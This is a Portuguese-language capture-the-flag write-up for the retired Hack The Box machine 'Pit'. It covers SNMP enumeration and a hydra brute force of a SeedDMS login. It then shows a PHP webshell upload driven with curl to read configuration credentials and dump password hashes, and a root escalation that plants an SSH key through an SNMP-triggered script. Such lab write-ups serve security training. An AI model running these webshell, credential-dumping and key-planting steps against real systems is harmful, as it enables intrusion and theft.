Olá pessoal!
A máquina desta semana será Pit, outra máquina Linux classificada como mediana Hack The Box, criada por polarbearer e GibParadox.
Info
Write-ups para máquinas do Hack The Box são postados assim que as máquinas são aposentadas.
Esta máquina foi diferente das demais pois demandou enumeração UDP, não frequentemente necessário porém sempre útil quando não tem muita saída:smile:. SNMP foi chave para enumerar e escalar privilégios nesta máquina, que tinha uma complexidade maior uma vez que possuía SELinux habilitado e não permitiu um shell interativo, até que conseguíssemos credenciais válidas do sistema, conectar via SSH e escalar privilégios.
Enumeração
Como de costume, iniciado com um scan rápido do nmap a fim de validar os serviços atualmente publicados
$ nmap -sC -sV -Pn -oA quick 10.10.10.241Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 12:15 -03Nmap scan report for 10.10.10.241Host is up (0.12s latency).Not shown: 997 filtered portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.0 (protocol 2.0)| ssh-hostkey:| 3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)| 256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)|_ 256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)80/tcp open http nginx 1.14.1|_http-server-header: nginx/1.14.1|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux9090/tcp open ssl/zeus-admin?| fingerprint-strings:| GetRequest, HTTPOptions:| HTTP/1.1 400 Bad request| Content-Type: text/html; charset=utf8| Transfer-Encoding: chunked| X-DNS-Prefetch-Control: off| Referrer-Policy: no-referrer| X-Content-Type-Options: nosniff| Cross-Origin-Resource-Policy: same-origin| <!DOCTYPE html>| <html>| <head>| <title>| request| </title>| <meta http-equiv="Content-Type" content="text/html; charset=utf-8">| <meta name="viewport" content="width=device-width, initial-scale=1.0">| <style>| body {| margin: 0;| font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;| font-size: 12px;| line-height: 1.66666667;| color: #333333;| background-color: #f5f5f5;| border: 0;| vertical-align: middle;| font-weight: 300;|_ margin: 0 0 10p| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1| Not valid before: 2020-04-16T23:29:12|_Not valid after: 2030-06-04T16:09:12|_ssl-date: TLS randomness does not represent time1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port9090-TCP:V=7.91%T=SSL%I=7%D=8/10%Time=61129849%P=x86_64-pc-linux-gnSF:u%r(GetRequest,E70,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-Type:SF:\x20text/html;\x20charset=utf8\r\nTransfer-Encoding:\x20chunked\r\nX-DNSF:S-Prefetch-Control:\x20off\r\nReferrer-Policy:\x20no-referrer\r\nX-ContSF:ent-Type-Options:\x20nosniff\r\nCross-Origin-Resource-Policy:\x20same-oSF:rigin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n\x20\x20\x20\x20SF:<title>\r\nb\r\nBad\x20request\r\nd08\r\n</title>\n\x20\x20\x20\x20<metSF:a\x20http-equiv=\"Content-Type\"\x20content=\"text/html;\x20charset=utfSF:-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=deSF:vice-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<style>\n\tbody\xSF:20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\n\x2SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20\"RedHatDiSF:splay\",\x20\"Open\x20Sans\",\x20Helvetica,\x20Arial,\x20sans-serif;\n\SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2012px;\n\x2SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20line-height:\x201\.6666666SF:7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#333333;\SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20#SF:f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x2SF:0\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20border:\SF:x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vertical-align:\SF:x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20SF:\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-wSF:eight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20SF:\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20marSF:gin:\x200\x200\x2010p")%r(HTTPOptions,E70,"HTTP/1\.1\x20400\x20Bad\x20rSF:equest\r\nContent-Type:\x20text/html;\x20charset=utf8\r\nTransfer-EncodSF:ing:\x20chunked\r\nX-DNS-Prefetch-Control:\x20off\r\nReferrer-Policy:\xSF:20no-referrer\r\nX-Content-Type-Options:\x20nosniff\r\nCross-Origin-ResSF:ource-Policy:\x20same-origin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html>\n<SF:head>\n\x20\x20\x20\x20<title>\r\nb\r\nBad\x20request\r\nd08\r\n</titleSF:>\n\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=\"teSF:xt/html;\x20charset=utf-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\SF:"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\n\x20\x20\xSF:20\x20<style>\n\tbody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2SF:0\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fonSF:t-family:\x20\"RedHatDisplay\",\x20\"Open\x20Sans\",\x20Helvetica,\x20ASF:rial,\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fSF:ont-size:\x2012px;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20linSF:e-height:\x201\.66666667;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20SF:\x20color:\x20#333333;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2SF:0background-color:\x20#f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20SF:\x20\x20\x20\x20\x20\x20\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\SF:x20\x20\x20\x20border:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\SF:x20\x20vertical-align:\x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\SF:x20\x20\x20\x20\x20\x20\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x20\x2SF:0\x20\x20\x20\x20font-weight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20\x20SF:}\n\x20\x20\x20\x20\x20\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20\x20SF:\x20\x20\x20\x20\x20margin:\x200\x200\x2010p");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 213.97 secondsCom base no resultado do scan, notado que existe um DNS dms-pit.htb configurado em um certificado SSL, que foi configurado no arquivo hosts local.
80/TCP e 9090/TCP - Serviços HTTP
Acessando as páginas, podemos ver na URI http://10.10.10.241:80 a página padrão do nginx enquanto para https://10.10.10.241:9090 vemos a página de login do Cockpit Project — Cockpit Project (cockpit-project.org).
Cockpit é uma interface web para administração Linux e, como o nome da máquina é parte do nome da solução, devo estar no caminho correto :smile:. O domínio pit.htb é mencionado como nome da máquina, também incluído no arquivo hosts local.
Buscando por vulnerabilidades para este produto, encontrei uma vulnerabilidade para SSRF na versão 234 a partir de uma pesquina no searchsploit, que poderia de alguma forma ser útil uma vez que não depende de nenhuma credencial.
$ searchsploit cockpit---------------------------------------------------------------------- ---------------------------- Exploit Title | Path---------------------------------------------------------------------- ----------------------------Cockpit CMS 0.4.4 < 0.5.5 - Server-Side Request Forgery | php/webapps/44567.txtCockpit CMS 0.6.1 - Remote Code Execution | php/webapps/49390.txtCockpit Version 234 - Server-Side Request Forgery (Unauthenticated) | multiple/webapps/49397.txtopenITCOCKPIT 3.6.1-2 - Cross-Site Request Forgery | php/webapps/47305.py---------------------------------------------------------------------- ----------------------------Shellcodes: No Results
$ head $(locate multiple/webapps/49397.txt)# Exploit Title: Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated)# Date: 08.01.2021# Exploit Author: Metin Yunus Kandemir# Vendor Homepage: https://cockpit-project.org/# Version: v234# Tested on: Ubuntu 18.04
#!/usr/bin/python3import argparseimport requestsLendo a respeito da vulnerabilidade nesta página do Github podemos ver que ela pode ser utilizada para enumerar e acessar conteúdo que normalmente não teriamos acesso a partir de nosso host ou das portas de comunicação disponíveis, podendo ser útil em um segundo momento mas que agora não ajudará muito.
Avançando com a enumeração agora utilizando o whatweb, para agilizar um pouco as coisas criei um script bash simples que faz um loop nos dominios encontrados e endereço IP e portas de modo a buscar alguma diferneça nas publicações e o que temos em cada combinação
#!/bin/bashdeclare -a hosts=("10.10.10.241" "pit.htb" "dms-pit.htb");declare -a ports=("80" "9090");
for host in "${hosts[@]}"; do for port in "${ports[@]}"; do whatweb --color=never -a 3 "$host:$port" >> whatweb_enum.txt donedoneAvaliando os resultados, encontrei algo interessante: quando acessamos o domínio dms-pit.htb recebemos um erro 403 Forbidden, cenário ideal para usar a vulnerabilidade de SSRF no Cockpit, se presente :smile:
http://dms-pit.htb/ [403 Forbidden] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.1], IP[10.10.10.241], Title[403 Forbidden], nginx[1.14.1]Após alguns testes com a PoC encontrada, notei que a opção “Connect to” mencionada nas notas encontradas não estava presente. Também, inspecionando os videos, notei que a versão que utilizamos foi atualizada e não mais vulneravel, o que também foi confirmado realizando alguns acessos em /cockpit sem sucesso :disappointed:.
Reiniciei o processo de enumeração, executando o nmap em todas as portas TCP e também executando um scan rápido UDP, buscando por algo que tenha deixado para trás na fase inicial. Também iniciei uma enumeração de diretórios com o gobuster diretamente no endereço IP ( http://10.10.10.241) para buscar algum website neste servidor publicado.
Após alguma espera, infelizmente o scan de diretórios com gobuster e o scan de todas as portas TCP com nmap não apresentaram resultado algum. Surpreendentemente o scan UDP retornou duas portas, conforme abaixo:
$ sudo nmap -sU -sV -vv -oA quick_udp 10.10.10.241Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 13:53 -03NSE: Loaded 45 scripts for scanning.Initiating Ping Scan at 13:53Scanning 10.10.10.241 [4 ports]Completed Ping Scan at 13:53, 0.10s elapsed (1 total hosts)Initiating UDP Scan at 13:53Increasing send delay for 10.10.10.241 from 800 to 1000 due to 37 out of 121 dropped probes since last increase.Warning: 10.10.10.241 giving up on port because retransmission cap hit (10).Nmap scan report for dms-pit.htb (10.10.10.241)Host is up, received echo-reply ttl 63 (0.16s latency).Scanned at 2021-08-10 13:53:34 -03 for 1081sNot shown: 998 filtered portsReason: 979 admin-prohibiteds and 19 host-unreachesPORT STATE SERVICE REASON VERSION161/udp open snmp udp-response SNMPv1 server; net-snmp SNMPv3 server (public)20762/udp open|filtered unknown no-responseService Info: Host: pit.htb
Read data files from: /usr/bin/../share/nmapService detection performed. Please report any incorrect results at https://nmap.org/submit/ .161/UDP - SNMP Service
Dos resultados encontrados, iniciado com o SNMP, onde executei o comando snmp-check e pude obter informações básicas do sistema porém nenhum segredo ou dado sensível foi exibido.
snmp-check 10.10.10.241Usando outra ferramenta, o snmpwalk como recomendado nesta página, notei que a ferramenta pode enumerar OIDs (Object Identifiers) específicos mas, com os dados que temos, nenhuma informação relevante estava sendo listada mas nos permitiu listar as contas presentes no sistema, além de outras informações já anteriormente listadas.
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: Memory usage total used free shared buff/cache availableMem: 3.8Gi 345Mi 3.1Gi 8.0Mi 452Mi 3.2GiSwap: 1.9Gi 0B 1.9GiDatabase statusOK - Connection to database successful.System release infoCentOS Linux release 8.3.2011SELinux Settingsuser
Labeling MLS/ MLS/SELinux User Prefix MCS Level MCS Range SELinux Roles
guest_u user s0 s0 guest_rroot user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_rstaff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_rsysadm_u user s0 s0-s0:c0.c1023 sysadm_rsystem_u user s0 s0-s0:c0.c1023 system_r unconfined_runconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_ruser_u user s0 s0 user_rxguest_u user s0 s0 xguest_rlogin
Login Name SELinux User MLS/MCS Range Service
__default__ unconfined_u s0-s0:c0.c1023 *michelle user_u s0 *root unconfined_u s0-s0:c0.c1023 *System uptime 13:33:08 up 37 min, 0 users, load average: 0.19, 0.10, 0.18Buscando conhecer mais como enumerar serviços SNMP, encontrei a página SNMP:Comandos – snmpwalk – LRodrigo – Web Site (lncc.br) que fala sobre alguns comandos úteis enquanto utilizamos o snmpwalk. O fato interessante é que, se você especificar o OID até um certo ponto, a ferramenta lista toda informação abaixo daquele nó, uma vez que o SNMP funciona em uma estrutura de árvore conforme imagem abaixo, extraída de Wikimedia.org:
Uma vez que o root (em vermelho na imagme) nunca muda, decidi executar o snmpwalk mais uma vez mas especificando diretamente o ponto onde gostaria de inspecionar, que é logo a partir do root (.1) e filtrei os valores em ranco, utilizando o comando abaixo:
snmpwalk -v 1 -c public 10.10.10.241 .1 | grep -v -e "\"\"$"As coisas começaram a ficar interessantes onde, logo após a lista dos processos, um OID .1.3.6.1.4.1.2021 exibia informações sobre configuração do nginx, antes não mostrado nos comandos executados anteriormente, e que em uma as linhas mencionava o caminho /var/www/html/seeddms51x/seeddms
iso.3.6.1.4.1.2021.2.1.1.1 = INTEGER: 1iso.3.6.1.4.1.2021.2.1.2.1 = STRING: "nginx"iso.3.6.1.4.1.2021.2.1.3.1 = INTEGER: 1iso.3.6.1.4.1.2021.2.1.4.1 = INTEGER: 0iso.3.6.1.4.1.2021.2.1.5.1 = INTEGER: 3iso.3.6.1.4.1.2021.2.1.100.1 = INTEGER: 0iso.3.6.1.4.1.2021.2.1.102.1 = INTEGER: 0iso.3.6.1.4.1.2021.9.1.1.1 = INTEGER: 1iso.3.6.1.4.1.2021.9.1.1.2 = INTEGER: 2iso.3.6.1.4.1.2021.9.1.2.1 = STRING: "/"iso.3.6.1.4.1.2021.9.1.2.2 = STRING: "/var/www/html/seeddms51x/seeddms"iso.3.6.1.4.1.2021.9.1.3.1 = STRING: "/dev/mapper/cl-root"iso.3.6.1.4.1.2021.9.1.3.2 = STRING: "/dev/mapper/cl-seeddms"iso.3.6.1.4.1.2021.9.1.4.1 = INTEGER: 10000iso.3.6.1.4.1.2021.9.1.4.2 = INTEGER: 100000iso.3.6.1.4.1.2021.9.1.5.1 = INTEGER: -1iso.3.6.1.4.1.2021.9.1.5.2 = INTEGER: -1iso.3.6.1.4.1.2021.9.1.6.1 = INTEGER: 2611200iso.3.6.1.4.1.2021.9.1.6.2 = INTEGER: 125600iso.3.6.1.4.1.2021.9.1.7.1 = INTEGER: 374736Retornei para o browser e tentei algumas combinações de dominios com o caminho virtual provável, onde obtive acesso ao endereço http://dms-pit.htb/seeddms51x/seeddms onde o portal do SeedDMS se encontrava disponível.
Acesso inicial
Dando uma rápida busca no searchsploit encontrei alguns exploits para este app, porém todos estes dependiam de uma conta para funcionamento.
$ searchsploit seeddms---------------------------------------------------------------------- ---------------------------- Exploit Title | Path---------------------------------------------------------------------- ----------------------------Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated) | php/webapps/50062.pySeedDMS 5.1.18 - Persistent Cross-Site Scripting | php/webapps/48324.txtSeedDMS < 5.1.11 - 'out.GroupMgr.php' Cross-Site Scripting | php/webapps/47024.txtSeedDMS < 5.1.11 - 'out.UsrMgr.php' Cross-Site Scripting | php/webapps/47023.txtSeedDMS versions < 5.1.11 - Remote Command Execution | php/webapps/47022.txt---------------------------------------------------------------------- ----------------------------Shellcodes: No ResultsJá que temos os nomes dos usuários e metade da resposta é o nome de usuário, obtidos a partir da execução usando snmpwalk em que michelle foi encontrado, podemos tentar adivinhá-los ou realizar um brute force com o hydra, método escolhido e que retornou a senha igual ao nome de usuário:
$ hydra -l michelle -P /usr/share/wordlists/rockyou.txt dms-pit.htb http-post-form "/seeddms51x/seeddms/op/op.Login.php:login=^USER^&pwd=^PASS^&lang=:Error" -t 10Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-10 16:05:20[DATA] max 10 tasks per 1 server, overall 10 tasks, 14344399 login tries (l:1/p:14344399), ~1434440 tries per task[DATA] attacking http-post-form://dms-pit.htb:80/seeddms51x/seeddms/op/op.Login.php:login=^USER^&pwd=^PASS^&lang=:Error[80][http-post-form] host: dms-pit.htb login: michelle password: michelle1 of 1 target successfully completed, 1 valid password foundHydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-08-10 16:05:24Já que temos agora uma credencial para o SeedDMS, podemos explorar a vulnerabilidade, que nos permitiu, logo após o upload de um documento php ( neste caso contendo um webshell - <?php system($_GET["cmd"]); ?>), obter execução remota de código a partir de chamadas utilizando curl com base no document ID identificado após o upload, neste caso 31:
$ curl -X GET -G 'http://dms-pit.htb/seeddms51x/data/1048576/31/1.php' --data-urlencode 'cmd=id'uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0User flag
Mesmo tendo execução remota de código na máquina, todas as tentativas de shell reverso falharam. Tentei vários métodos (bash, python, payload externo, etc) e nenhum deles funcionou, possivelmente devido ao SELinux ativo na máquina. Com base nisso, decidi enumerar a máquina a partir deste canal.
Validando o repositório do SeedDMS no GitHub, identifiquei que existe um arquivo /conf/settings.xml que contém as credenciais para o banco de dados, que poderiam ser reutilizadas por outros usuários no sistema.
$ curl -X GET -G 'http://dms-pit.htb/seeddms51x/data/1048576/33/1.php' --data-urlencode 'cmd=cat /var/www/html/seeddms51x/conf/settings.xml' | grep database % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 11933 0 11933 0 0 77993 0 --:--:-- --:--:-- --:--:-- 77993 <edition strictFormCheck="false" viewOnlineFileTypes=".txt;.text;.html;.htm;.xml;.pdf;.gif;.png;.jpg;.jpeg" enableConverting="true" enableEmail="true" enableUsersView="true" enableFullSearch="true" enableClipboard="false" enableFolderTree="true" expandFolderTree="1" enableLanguageSelector="true" stopWordsFile="" sortUsersInList="" enableDropUpload="false" enableRecursiveCount="false" maxRecursiveCount="0" enableThemeSelector="false" fullSearchEngine="sqlitefts" sortFoldersDefault="u" editOnlineFileTypes="" enableMenuTasks="false" enableHelp="false" defaultSearchMethod="database" libraryFolder="0" maxSizeForFullText="0" showSingleSearchHit="false" enableSessionList="false" enableDropFolderList="false" enableMultiUpload="false" defaultDocPosition="end"> - restricted: Restricted access: only allow users to log in if they have an entry in the local database (irrespective of successful authentication with LDAP). - dbDatabase: database where the tables for seeddms are stored (optional - see adodb-readme) - dbUser: username for database-access - dbPass: password for database-access <database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false"> </database>Utilizando o mysql via linha de comando, enumerei tabelas, colunas e, por fim, usuários e hashes de senhas utilizando as credenciais obtidas:
# List Tables$ curl -X GET -G 'http://dms-pit.htb/seeddms51x/data/1048576/30/1.php' --data-urlencode 'cmd=mysql -u seeddms --password=ied^ieY6xoquu -e "use seeddms; select login,pwd,role from tblUsers; exit"'[...]
# List Columns from tblUsers$ curl -X GET -G 'http://dms-pit.htb/seeddms51x/data/1048576/34/1.php' --data-urlencode 'cmd=mysql -u seeddms --password=ied^ieY6xoquu -e "use seeddms; show columns from tblUsers; exit"'[...]
# Dump credentials$ curl -X GET -G 'http://dms-pit.htb/seeddms51x/data/1048576/30/1.php' --data-urlencode 'cmd=mysql -u seeddms --password=ied^ieY6xoquu -e "use seeddms; select login,pwd,role from tblUsers; exit"'login pwd roleadmin 155dd275b4cb74bd1f80754b61148863 1guest NULL 2michelle 2345f10bb948c5665ef91f6773b3e455 0jack 682d305fdaabc156430c4c6f6f5cc65d 0Com estes hashes, tentei quebrá-los utilizando john e o dicionário rockyou.txt, porém sem sucesso.
Como temos as credenciais de banco de dados, lembrei que poderiamos utilizá-las para acessar a console interativa via Cockpit, onde as credenciais do usuário seeddms falharam mas funcionou com sucesso para a usuária michelle.
Acessando o terminal via portal web, fui capaz de acessar o conteúdo do arquivo user.txt e obter a flag
[michelle@pit ~]$ lscheck.sh user.txt[michelle@pit ~]$ cat user.txt<redacted>Root flag
Após submeter a flag, fui incapaz de executar sudo -l como executado de costume, logo iniciei a enumeração a partir da conta da usuária michelle utilizando o linpeas.sh, onde nada de muito interessante foi listado além de um privilégio não usual num arquivo também não padrão do Linux:
╔══════════╣ Files with ACLs (limited to 50)╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#acls# file: /usr/local/monitoringUSER root rwxuser michelle -wxGROUP root rwxmask rwxother ---Inspecionando este arquivo, na verdade descobri que se tratava de um diretório, o qual não temos acesso de leitura (apenas escrita e execução vide output acima). Buscando por outros arquivos que fizessem referência a este diretório, executei um grep recursivo no sistema, onde encontrei um arquivo previamente observado no scan do snmpwalk.
[michelle@pit local]$ grep -r "/usr/local/monitoring/" / 2>/dev/null/usr/bin/monitor:for script in /usr/local/monitoring/check*sh[michelle@pit local]$ cat /usr/bin/monitor#!/bin/bash
for script in /usr/local/monitoring/check*shdo /bin/bash $scriptdone[michelle@pit local]$Como podemos ver, este script executa quaisquer arquivos com nome check*.sh do diretório /usr/local/monitoring, permitindo, que qualquer comando arbitrário seja executado a partir do processo que inicializa o script /usr/bin/monitor.
Para melhor entendimento de como poderia usar este privilégio encontrado, decidi buscar dentro do recon já realizado menções ao arquivo monitor, onde encontrei uma referência nos scans do SNMP onde este arquivo se encontra configurado como nsExtendedCommands.
$ grep -r "/usr/bin/monitor" ../scans/snmpwalk_nsExtendObjects.txt:NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor./scans/snmp_full.txt:iso.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: "/usr/bin/monitor"De acordo com o guia em SNMP RCE - HackTricks, se algum componente estiver configurado como nsExtendedCommand (ou for capaz de adicionar algum binário arbitrariamente dentre estas configurações), você pode inicializar a sua execução utilizando o snmpwalk.
Com base nas informações levantadas, temos uma possível forma de obter acesso root, onde os seguintes passos foram utilizados:
- Criei um arquivo
checkXXXX.sh, que adiciona uma chave pública como confiável dentro do arquivoauthorized_keysdo perfil que executa o processo e copiado para/usr/bin/monitor.
#!/bin/bashecho "ssh-rsa <base64PubKey> root@kali" >> ~/.ssh/authorized_keys- A partir da máquina do atacante, iniciei a ação para executar as ações nsExtendedObject
# Trigger Extended objectssnmpwalk -v 1 -c public 10.10.10.241 NET-SNMP-EXTEND-MIB::nsExtendObjects- Após este ponto, consegui me conectar utilizando a chave privada correspondente via SSH com a conta do usuário
root, onde consegui obter a flag final.
$ ssh -i pit root@10.10.10.241Web console: https://pit.htb:9090/
Last login: Tue Aug 10 14:50:51 2021 from 10.10.10.10[root@pit ~]# id && hostnameuid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023pit.htb[root@pit ~]# cat root.txt<redacted>[root@pit ~]#Espero que tenham gostado!
Vejo vocês no próximo posts :smile: